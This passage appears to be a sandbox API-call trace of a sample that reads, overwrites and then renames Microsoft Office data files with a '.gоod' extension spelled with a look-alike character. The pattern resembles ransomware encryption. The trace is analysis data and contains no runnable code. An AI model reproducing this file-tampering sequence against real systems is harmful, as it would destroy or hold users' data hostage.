nFileSizeHigh=0x0, nFileSizeLow=0x646e)) returned 1 [0141.336] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0141.337] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\excelmui.msi.16.en-us.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\excelmui.msi.16.en-us.tree.dat", lpFilePart=0x0) returned 0x4a [0141.337] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0141.337] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\excelmui.msi.16.en-us.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\excelmui.msi.16.en-us.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0141.337] GetFileType (hFile=0x7dc) returned 0x1 [0141.337] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0141.337] GetFileType (hFile=0x7dc) returned 0x1 [0141.337] SetFilePointer (in: hFile=0x7dc, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fcee308*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fcee308*=0) returned 0x1000 [0141.337] ReadFile (in: hFile=0x7dc, lpBuffer=0x38ee968, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee2d8, lpOverlapped=0x0 | out: lpBuffer=0x38ee968*, lpNumberOfBytesRead=0x1fcee2d8*=0x1000, lpOverlapped=0x0) returned 1 [0141.339] CloseHandle (hObject=0x7dc) returned 1 [0141.339] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\excelmui.msi.16.en-us.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\excelmui.msi.16.en-us.tree.dat", lpFilePart=0x0) returned 0x4a [0141.339] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0141.339] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\excelmui.msi.16.en-us.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\excelmui.msi.16.en-us.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0141.340] GetFileType (hFile=0x7dc) returned 0x1 [0141.340] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0141.340] GetFileType (hFile=0x7dc) returned 0x1 [0141.340] SetFilePointer (in: hFile=0x7dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fcee308*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fcee308*=0) returned 0x646e [0141.340] WriteFile (in: hFile=0x7dc, lpBuffer=0x38efc28*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fcee1f8, lpOverlapped=0x0 | out: lpBuffer=0x38efc28*, lpNumberOfBytesWritten=0x1fcee1f8*=0x10, lpOverlapped=0x0) returned 1 [0141.804] CloseHandle (hObject=0x7dc) returned 1 [0141.804] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\excelmui.msi.16.en-us.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\excelmui.msi.16.en-us.tree.dat", lpFilePart=0x0) returned 0x4a [0141.804] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0141.804] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\excelmui.msi.16.en-us.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\excelmui.msi.16.en-us.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0141.804] GetFileType (hFile=0x7dc) returned 0x1 [0141.804] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0141.804] GetFileType (hFile=0x7dc) returned 0x1 [0141.804] ReadFile (in: hFile=0x7dc, lpBuffer=0x3a32500, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee288, lpOverlapped=0x0 | out: lpBuffer=0x3a32500*, lpNumberOfBytesRead=0x1fcee288*=0x1000, lpOverlapped=0x0) returned 1 [0142.031] CloseHandle (hObject=0x7dc) returned 1 [0142.031] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\excelmui.msi.16.en-us.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\excelmui.msi.16.en-us.tree.dat", lpFilePart=0x0) returned 0x4a [0142.031] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0142.031] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\excelmui.msi.16.en-us.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\excelmui.msi.16.en-us.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0142.031] GetFileType (hFile=0x7dc) returned 0x1 [0142.031] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0142.031] GetFileType (hFile=0x7dc) returned 0x1 [0142.031] WriteFile (in: hFile=0x7dc, lpBuffer=0x3a31230*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fcee338, lpOverlapped=0x0 | out: lpBuffer=0x3a31230*, lpNumberOfBytesWritten=0x1fcee338*=0x1010, lpOverlapped=0x0) returned 1 [0142.032] CloseHandle (hObject=0x7dc) returned 1 [0142.032] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\excelmui.msi.16.en-us.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\excelmui.msi.16.en-us.tree.dat", lpFilePart=0x0) returned 0x4a [0142.032] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\excelmui.msi.16.en-us.tree.dat.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\excelmui.msi.16.en-us.tree.dat.gоod", lpFilePart=0x0) returned 0x4f [0142.032] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0142.032] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\excelmui.msi.16.en-us.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\excelmui.msi.16.en-us.tree.dat"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd03a857f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd03a857f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x50ded998, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x647e)) returned 1 [0142.032] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0142.032] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\excelmui.msi.16.en-us.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\excelmui.msi.16.en-us.tree.dat"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\excelmui.msi.16.en-us.tree.dat.gоod" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\excelmui.msi.16.en-us.tree.dat.gоod")) returned 1 [0142.033] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\groove.x-none.msi.16.x-none.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\groove.x-none.msi.16.x-none.boot.tree.dat", lpFilePart=0x0) returned 0x55 [0142.033] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0142.033] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\groove.x-none.msi.16.x-none.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\groove.x-none.msi.16.x-none.boot.tree.dat"), fInfoLevelId=0x0, lpFileInformation=0x398a6e8 | out: lpFileInformation=0x398a6e8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8396fbd3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8396fbd3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x84214453, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4276)) returned 1 [0142.033] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0142.033] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\groove.x-none.msi.16.x-none.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\groove.x-none.msi.16.x-none.boot.tree.dat", lpFilePart=0x0) returned 0x55 [0142.034] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0142.034] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\groove.x-none.msi.16.x-none.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\groove.x-none.msi.16.x-none.boot.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0142.034] GetFileType (hFile=0x7dc) returned 0x1 [0142.034] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0142.034] GetFileType (hFile=0x7dc) returned 0x1 [0142.034] SetFilePointer (in: hFile=0x7dc, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fcee308*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fcee308*=0) returned 0x1000 [0142.034] ReadFile (in: hFile=0x7dc, lpBuffer=0x398abb0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee2d8, lpOverlapped=0x0 | out: lpBuffer=0x398abb0*, lpNumberOfBytesRead=0x1fcee2d8*=0x1000, lpOverlapped=0x0) returned 1 [0142.108] CloseHandle (hObject=0x7dc) returned 1 [0142.108] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\groove.x-none.msi.16.x-none.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\groove.x-none.msi.16.x-none.boot.tree.dat", lpFilePart=0x0) returned 0x55 [0142.108] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0142.108] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\groove.x-none.msi.16.x-none.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\groove.x-none.msi.16.x-none.boot.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0142.108] GetFileType (hFile=0x7dc) returned 0x1 [0142.109] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0142.109] GetFileType (hFile=0x7dc) returned 0x1 [0142.109] SetFilePointer (in: hFile=0x7dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fcee308*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fcee308*=0) returned 0x4276 [0142.109] WriteFile (in: hFile=0x7dc, lpBuffer=0x3aa07d8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fcee1f8, lpOverlapped=0x0 | out: lpBuffer=0x3aa07d8*, lpNumberOfBytesWritten=0x1fcee1f8*=0x10, lpOverlapped=0x0) returned 1 [0142.693] CloseHandle (hObject=0x7dc) returned 1 [0142.693] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\groove.x-none.msi.16.x-none.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\groove.x-none.msi.16.x-none.boot.tree.dat", lpFilePart=0x0) returned 0x55 [0142.693] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0142.694] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\groove.x-none.msi.16.x-none.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\groove.x-none.msi.16.x-none.boot.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0142.694] GetFileType (hFile=0x7dc) returned 0x1 [0142.694] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0142.694] GetFileType (hFile=0x7dc) returned 0x1 [0142.694] ReadFile (in: hFile=0x7dc, lpBuffer=0x3c793c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee288, lpOverlapped=0x0 | out: lpBuffer=0x3c793c0*, lpNumberOfBytesRead=0x1fcee288*=0x1000, lpOverlapped=0x0) returned 1 [0142.721] CloseHandle (hObject=0x7dc) returned 1 [0142.721] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\groove.x-none.msi.16.x-none.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\groove.x-none.msi.16.x-none.boot.tree.dat", lpFilePart=0x0) returned 0x55 [0142.721] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0142.721] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\groove.x-none.msi.16.x-none.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\groove.x-none.msi.16.x-none.boot.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0142.721] GetFileType (hFile=0x7dc) returned 0x1 [0142.721] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0142.721] GetFileType (hFile=0x7dc) returned 0x1 [0142.721] WriteFile (in: hFile=0x7dc, lpBuffer=0x3c780c0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fcee338, lpOverlapped=0x0 | out: lpBuffer=0x3c780c0*, lpNumberOfBytesWritten=0x1fcee338*=0x1010, lpOverlapped=0x0) returned 1 [0142.721] CloseHandle (hObject=0x7dc) returned 1 [0142.721] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\groove.x-none.msi.16.x-none.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\groove.x-none.msi.16.x-none.boot.tree.dat", lpFilePart=0x0) returned 0x55 [0142.721] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\groove.x-none.msi.16.x-none.boot.tree.dat.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\groove.x-none.msi.16.x-none.boot.tree.dat.gоod", lpFilePart=0x0) returned 0x5a [0142.721] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0142.722] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\groove.x-none.msi.16.x-none.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\groove.x-none.msi.16.x-none.boot.tree.dat"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8396fbd3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8396fbd3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x5147bf13, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x4286)) returned 1 [0142.722] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0142.722] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\groove.x-none.msi.16.x-none.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\groove.x-none.msi.16.x-none.boot.tree.dat"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\groove.x-none.msi.16.x-none.boot.tree.dat.gоod" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\groove.x-none.msi.16.x-none.boot.tree.dat.gоod")) returned 1 [0142.722] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\groove.x-none.msi.16.x-none.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\groove.x-none.msi.16.x-none.tree.dat", lpFilePart=0x0) returned 0x50 [0142.722] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0142.722] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\groove.x-none.msi.16.x-none.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\groove.x-none.msi.16.x-none.tree.dat"), fInfoLevelId=0x0, lpFileInformation=0x3cf5e38 | out: lpFileInformation=0x3cf5e38*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcede6ced, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcede6ced, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcf0e1caa, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x621d)) returned 1 [0142.723] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0142.723] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\groove.x-none.msi.16.x-none.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\groove.x-none.msi.16.x-none.tree.dat", lpFilePart=0x0) returned 0x50 [0142.723] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0142.723] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\groove.x-none.msi.16.x-none.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\groove.x-none.msi.16.x-none.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0142.723] GetFileType (hFile=0x7dc) returned 0x1 [0142.723] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0142.723] GetFileType (hFile=0x7dc) returned 0x1 [0142.723] SetFilePointer (in: hFile=0x7dc, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fcee308*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fcee308*=0) returned 0x1000 [0142.723] ReadFile (in: hFile=0x7dc, lpBuffer=0x3cf62e0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee2d8, lpOverlapped=0x0 | out: lpBuffer=0x3cf62e0*, lpNumberOfBytesRead=0x1fcee2d8*=0x1000, lpOverlapped=0x0) returned 1 [0142.725] CloseHandle (hObject=0x7dc) returned 1 [0142.725] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\groove.x-none.msi.16.x-none.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\groove.x-none.msi.16.x-none.tree.dat", lpFilePart=0x0) returned 0x50 [0142.725] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0142.725] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\groove.x-none.msi.16.x-none.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\groove.x-none.msi.16.x-none.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0142.725] GetFileType (hFile=0x7dc) returned 0x1 [0142.725] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0142.725] GetFileType (hFile=0x7dc) returned 0x1 [0142.725] SetFilePointer (in: hFile=0x7dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fcee308*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fcee308*=0) returned 0x621d [0142.725] WriteFile (in: hFile=0x7dc, lpBuffer=0x3cf7698*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fcee1f8, lpOverlapped=0x0 | out: lpBuffer=0x3cf7698*, lpNumberOfBytesWritten=0x1fcee1f8*=0x10, lpOverlapped=0x0) returned 1 [0142.726] CloseHandle (hObject=0x7dc) returned 1 [0142.726] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\groove.x-none.msi.16.x-none.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\groove.x-none.msi.16.x-none.tree.dat", lpFilePart=0x0) returned 0x50 [0142.726] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0142.726] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\groove.x-none.msi.16.x-none.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\groove.x-none.msi.16.x-none.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0142.726] GetFileType (hFile=0x7dc) returned 0x1 [0142.726] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0142.726] GetFileType (hFile=0x7dc) returned 0x1 [0142.727] ReadFile (in: hFile=0x7dc, lpBuffer=0x3cfa088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee288, lpOverlapped=0x0 | out: lpBuffer=0x3cfa088*, lpNumberOfBytesRead=0x1fcee288*=0x1000, lpOverlapped=0x0) returned 1 [0145.527] CloseHandle (hObject=0x7dc) returned 1 [0145.527] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\groove.x-none.msi.16.x-none.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\groove.x-none.msi.16.x-none.tree.dat", lpFilePart=0x0) returned 0x50 [0145.528] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0145.528] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\groove.x-none.msi.16.x-none.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\groove.x-none.msi.16.x-none.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0145.528] GetFileType (hFile=0x7dc) returned 0x1 [0145.528] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0145.528] GetFileType (hFile=0x7dc) returned 0x1 [0145.528] WriteFile (in: hFile=0x7dc, lpBuffer=0x32cde90*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fcee338, lpOverlapped=0x0 | out: lpBuffer=0x32cde90*, lpNumberOfBytesWritten=0x1fcee338*=0x1010, lpOverlapped=0x0) returned 1 [0145.528] CloseHandle (hObject=0x7dc) returned 1 [0145.528] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\groove.x-none.msi.16.x-none.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\groove.x-none.msi.16.x-none.tree.dat", lpFilePart=0x0) returned 0x50 [0145.528] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\groove.x-none.msi.16.x-none.tree.dat.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\groove.x-none.msi.16.x-none.tree.dat.gоod", lpFilePart=0x0) returned 0x55 [0145.528] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0145.528] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\groove.x-none.msi.16.x-none.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\groove.x-none.msi.16.x-none.tree.dat"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcede6ced, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcede6ced, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x52f53db2, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x622d)) returned 1 [0145.528] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0145.528] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\groove.x-none.msi.16.x-none.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\groove.x-none.msi.16.x-none.tree.dat"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\groove.x-none.msi.16.x-none.tree.dat.gоod" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\groove.x-none.msi.16.x-none.tree.dat.gоod")) returned 1 [0145.529] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\groovemui.msi.16.en-us.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\groovemui.msi.16.en-us.boot.tree.dat", lpFilePart=0x0) returned 0x50 [0145.529] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0145.529] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\groovemui.msi.16.en-us.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\groovemui.msi.16.en-us.boot.tree.dat"), fInfoLevelId=0x0, lpFileInformation=0x3646728 | out: lpFileInformation=0x3646728*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x839bc0c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x839bc0c9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x84391d75, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x127a)) returned 1 [0145.530] SetThreadErrorMode 